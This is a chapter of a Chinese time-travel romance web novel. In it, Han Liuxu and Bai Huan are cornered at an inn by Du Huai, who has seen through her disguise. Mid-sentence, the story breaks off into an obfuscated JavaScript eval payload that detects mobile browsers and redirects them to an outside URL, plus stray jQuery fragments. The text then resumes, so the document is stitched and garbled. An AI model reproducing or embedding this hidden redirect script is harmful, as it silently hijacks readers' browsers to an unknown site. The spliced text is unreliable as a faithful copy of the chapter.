48. 杜淮

白桓却是看着韩柳絮的脸。


这几日陈柳应该将她照顾的不错,终于没有那么瘦了。韩柳絮真的很瘦,那种近乎病态的瘦,可她并不矮小。就算是女扮男装都觉得她并不矮小。


“陈柳待你真的很好嘛?”白桓这一声轻叹韩柳絮没有听到,此时的她已经睡着了。


白桓只是被韩柳絮盖好了被子,便退到一旁,离床很远却能一眼看到。


韩柳絮看到了白桓口中的杜淮。


她今早起的有点晚,隐隐约约地听到门外有声音,是白桓的声音。另一个声音她不认得,便悄咪咪地摸到门口,趴在门上向外看,看到了一个和白桓年纪差不多大的一个男人。


他们具体在说些什么韩柳絮听得不是很清楚,只是听到那个男人说白桓有同伙、卑鄙,还让白桓交代出同伙在什么地方藏着。


等等,这个男人就是白桓口中的杜淮吧。完了完了,当时忘记了他的存在,现在就被人堵在房间里。


这个房间就只有一个出口,韩柳絮看着窗户,走到窗前向下看去。还挺高哈,自己这三脚猫的功夫跳下去,是看运气的。


此时门外已经传来了打斗声,看来白桓是抗不了多大一会儿了。


她闭上眼睛,深呼吸,吞了口口水,终于鼓起勇气踏上了窗框,还不待跳下去,门就开了。


韩柳絮回头看了一眼,与白桓对视。白桓的眼神从震惊慢慢地带有一丝笑意。


好吧!和白桓也这么熟了,也不在意脸皮了。至于白桓身边的人,他的脸上写着大家都是成年人,我懂。


那种似笑非笑让韩柳絮想到了陈柳,他也同陈柳一样令人生厌啊。


韩柳絮从窗框跳下来,面对着眼前的两个男人,一时间也不知道该怎么缓解现在这种说不清道不明的画风。


还是杜淮先开了口:“我说你怎么不让我进来,看来是我不识趣了。”


他离去时还笑着看着白桓,“你要是说清楚,我就不进来了。你看给这小美人吓得,都要跳窗了。”


终于这个人出去了,韩柳絮有些无奈地看着白桓,好半天才终于开口:“他是杜淮?”


“嗯。”


“我刚刚听到他说同伙,还以为自己暴露了。他不认得我嘛?”要是早知道这一点,还跳什么窗啊。


“追杀我们的确实是他的人,可他并未见过你。”白桓又想到了什么,“你还是要小心的,他知道你没死。”


韩柳絮点点头,“那我们要他继续误会下去?”


“可以……随他吧!”他没有给韩柳絮什么说话的机会,问道:“饿了吗?”


一大早的,经历这样的事,一会儿应该还要和杜淮斗智斗勇,韩柳絮点点头,“我不想看见他,怕穿帮。”


杜淮没有见过她,可是他都追杀自己那么久了,也算是了解的。再不济,他的手下也快要到了,到时候还在他的面前晃悠。那下场,韩柳絮不敢再往下想了。


“那我带回来,你不要出去。”


可是韩柳絮怎么也没有想到,杜淮竟然来到了这里,很显然白桓也不是很欢迎这个不速之客。


“还未请教娘子芳名。”


韩柳絮的这口饭就在嗓子里,差点噎死自己。她想都没想,直接说:“如烟。”这个名字说出口,引得白桓看了她一眼。


“好名字”


“还未请教郎君该如何让称呼。”


杜淮摇着扇子回答道:“在下杜淮。”


虽然已经是春天了,但是看着杜淮摇着扇子,韩柳絮就觉得凉风袭来:“杜郎君不觉得冷吗?”


“如烟。”白桓象征性地唤了一声。


杜淮没有回答,手中的扇子向韩柳絮展开介绍起来:“娘子您看,这扇子可是名家所绘。既得此扇,自然不能让这幅画无人欣赏。”


韩柳絮看着那扇子就跟高中地理洋流图似的就想到高考,时至今日,就算是穿越了她有时还会梦到高考。


高中的时候这部分学的就是一知半解,到了高考时更是噩梦,真的想不出是什么人这么有才华,画出这样的画。


看着韩柳絮的表情时而凝重时而轻松,杜淮还以为韩柳絮看懂了。


“娘子可有什么要说的?”


这画抽象的就和洋流图一样,你确定这幅画真的是名家所绘?没被人坑?也有可能是自己欣赏不来古代的抽象吧。


“这画我看出了世界之大之广,人就如同沧海一粟。”这高中毕业都十几年了,之前所学都忘了。书到用时方恨少,早知道就每天背一背高中时的知识点了。


见韩柳絮说完话后的表情有些低落,杜淮像是遇到了知音一样:“娘子果真是懂得。”


正在喝茶的白桓听到这句话是差点喷出来,他看了一眼韩柳絮,果真她这一脸不可置信的样子就是蒙的。杜淮好歹也是世家培养出来的,虽然浮夸了一些,可也不像是能被韩柳絮蒙住的啊。


韩柳絮也同样看向白桓,这俗套的剧情,让人无力吐槽。遇到你这位旧友,事情的发展就没有正常过。


‘你确定你这朋友是出身于大户?我怎么看着像市井骗子’。韩柳絮看着白桓,用眼神再问。


怪不得推崇五姓七望,原来也是有原因的。


白桓也很无奈:“确实是出自名家之手,可是我怎么看不出什么世界之大。我看见了白云深处有人家。”


杜淮坐了下来,拍手称赞:“所以说你两还真的郎才女貌啊,这画真的就只有这两层含义。”


他是在框我吧。


“你们第一眼就看出来了,我当时可是看了好久才看出来的。”


我确定了,他就是在框我。韩柳絮十分确认眼前的男人就是骗人。


好不容易熬走了杜淮,韩柳絮终于松了一口气。


“你的这位旧友还真是不简单啊。”


“看出来了?”


“嗯,嗯。我觉得我们需要尽快离开此地。”


白桓给韩柳絮递了一杯水:“等你喝完水我们就走。”


韩柳絮这才反应过来,白桓一直都在和杜淮兜圈子:“为什么没有一开始就离开,还等什么?”


“等你休息好。”白桓看着韩柳絮说,“我这几日已经休息够了,你不是一直都在提防着陈柳嘛。”


韩柳絮一时间竟有些受不住白桓这种温柔的语气,她喝光了杯中的水,“我喝好了,走吧。”


语气中竟有一丝慌张。


韩柳絮刚将门打开,外面就有一群人跑到门口处。没有看韩柳絮以及室内的情况,他们守在门


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561406|169125||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


外。甚至于对面自己的房间都有人,那人还是杜淮。


房间的门大开,那张桌子旁只有杜淮一个人,听到了声音,他转头看着韩柳絮摇着手中的扇子,对着韩柳絮笑了笑。


他刚才和自己说了那么多的话,只是在拖延时间吧。他怕是早就知道自己的真实身份了,那自己和白桓说的那些话,他应该也猜得到。


白桓见韩柳絮在门外站了好久,便来到她的身边。


果然是这样。白桓看着门外的那些人,看着对面的杜淮,也笑了。


“他好像一开始就知道我的身份了。”韩柳絮现在倒也不怕什么了。


白桓想到韩柳絮说的话,便摇头:“他现在不会害你。”


之前说杀就杀,现在不会,那原因就是——“陈柳。”可是韩柳絮不明白,“他在忌惮陈柳?”


陈柳背后的势力究竟是怎么样的?刘彦希是在什么样的虎狼穴中啊。


白桓带韩柳絮回到室内,关好了门。


“陈柳背后的势力你知道的多吗?”


韩柳絮回想起自己和陈柳等人相处的那几日,除了陈柳外,其他人都不怎么搭理自己。就算是自己主动找事,他们也没有什么太大的反应。


她摇头:“他们没有说过多余的话,究竟是什么势力我并不清楚。但他们抓我是因为我兄长。”韩柳絮只能肯定一件事,“他们抓我是要威胁我兄长。”


“我连兄长为谁卖命都不知道,兄长他。”即便是韩柳絮不愿相信这个事实但也要说出来,“他并没有很信任我。”不是担心,不是怕自己有危险。而是不信任。


白桓知道韩柳絮与兄长之间不愉快的事情,他安慰道:“不要想太多。”


“不管陈柳背后的势力如何,但你是你兄长的亲妹妹。这一点是不可改变的事实,你兄长与你就算有不愉快,他也不会害你。”白桓看着韩柳絮说。


韩柳絮与刘彦希是同胞兄妹,韩柳絮更是一个女人,他们之间永远不会有利益的纠纷。凭这一点就足够了。


“是啊,你说得对。也是他要我去金陵的。”不信任与担心自己的安危不矛盾。


整个客栈因为杜淮的援兵到来的关系静悄悄的,该走的早就走了。留下来的,都安静的在自己的房间内。原本到了夜晚还要热闹一会儿的,现在就连灯都熄了。


也不知道是什么原因,众人对韩柳絮到没有严密监管。也就是这个原因,韩柳絮能单独出来到厨房去,身后没有跟着什么人,也没有什么人监视着她。


厨房门口处确实是有人把守的,可就只是搜查进出厨房的人有没有带什么东西进厨房。


他们的重点是白桓,白桓身上的秘密都抖完了。还能有什么能他们对他看守得如此严密。


“这大晚上的,娘子来着做什么?”


听着杜淮的话,韩柳絮有一种他和陈柳是一个老师教出来的感觉。但也有一些不同,就比如同样的一番话,陈柳说出来就感觉轻浮,纨绔。眼前的人说出来,就会觉得他真的就是在关心人,还有一些自来熟。


“烧菜。一会儿要来和四郎喝一杯嘛?”虽然说身份已经暴露了,可是这不是还没有说破嘛。


“不了,你们两人喝酒,我参与什么。”杜淮说着就摇着那把扇子离开了。